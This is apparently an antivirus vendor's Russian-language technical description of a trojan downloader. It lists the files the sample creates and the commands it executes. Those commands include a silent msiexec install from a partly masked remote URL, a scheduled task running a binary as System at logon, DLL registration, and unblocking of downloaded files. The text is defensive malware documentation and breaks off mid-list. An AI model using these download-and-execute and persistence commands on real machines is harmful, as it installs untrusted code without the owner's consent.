Trojan.DownLoader11.32009

Техническая информация

Для обеспечения автозапуска и распространения:

Создает или изменяет следующие файлы:

%WINDIR%\Tasks\NSManager_1408769143.job

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\nsg3.tmp\nsD.tmp' "%PROGRAM_FILES%\NpackdCL\npackdcl.exe" add-repo --url=https://www.is###lifier.com/addon/repo/repository.xml --bare-format
'%TEMP%\nsg3.tmp\nsB.tmp' msiexec.exe /qb- /i http://di#######nk7d.cloudfront.net/cl.msi
'%TEMP%\nsg3.tmp\ns11.tmp' <SYSTEM32>\schtasks.exe /create /tn NSManager_1408769143 /sc onlogon /tr "\"<LS_APPDATA>\NSManager\manager.exe\"" /ru System
'%TEMP%\nsg3.tmp\nsE.tmp' "%PROGRAM_FILES%\NpackdCL\npackdcl.exe" remove-repo --url=https://windows-package-manager.googlecode.com/hg/repository/Rep.xml --bare-format
'%TEMP%\nsg3.tmp\str.exe' -d -s "<LS_APPDATA>\NSManager\manager.exe" /accepteula
'%TEMP%\nsg3.tmp\ns10.tmp' "%TEMP%\nsg3.tmp\str.exe" -d -s "<LS_APPDATA>\NSManager\manager.exe" /accepteula
'%TEMP%\nsg3.tmp\nsF.tmp' "%PROGRAM_FILES%\NpackdCL\npackdcl.exe" remove-repo --url=https://windows-package-manager.googlecode.com/hg/repository/Rep64.xml --bare-format
'%TEMP%\nsg3.tmp\ns4.tmp' "<SYSTEM32>\cmd.exe" /C wmic computersystem get model /format:list
'%TEMP%\nsg3.tmp\str.exe' -d -s "%PROGRAM_FILES%\Simple\Simple.dll" /accepteula
'%TEMP%\nsg3.tmp\ns8.tmp' "%TEMP%\nsg3.tmp\str.exe" -d -s "%PROGRAM_FILES%\Simple\Simple.dll" /accepteula
'%TEMP%\nsg3.tmp\max.exe' {886BF106-6EBF-4EF4-8676-6663CAABBDA4}
'%TEMP%\nsg3.tmp\nsA.tmp' "%TEMP%\nsg3.tmp\max.exe" {886BF106-6EBF-4EF4-8676-6663CAABBDA4}
'%TEMP%\nsg3.tmp\ns9.tmp' "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" "%PROGRAM_FILES%\Simple\Simple.dll" /s /codebase
'%TEMP%\nsg3.tmp\max.exe' (загружен из сети Интернет)
'%TEMP%\nsg3.tmp\str.exe' (загружен из сети Интернет)

Запускает на исполнение:

'<SYSTEM32>\msiexec.exe' /V
'<SYSTEM32>\schtasks.exe' /create /tn NSManager_1408769143 /sc onlogon /tr "\"<LS_APPDATA>\NSManager\manager.exe\"" /ru System
'<SYSTEM32>\msiexec.exe' /qb- /i http://di#######nk7d.cloudfront.net/cl.msi
'<SYSTEM32>\wbem\wmic.exe' computersystem get model /format:list
'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' "%PROGRAM_FILES%\Simple\Simple.dll" /s /codebase

Завершает или пытается завершить

следующие пользовательские процессы: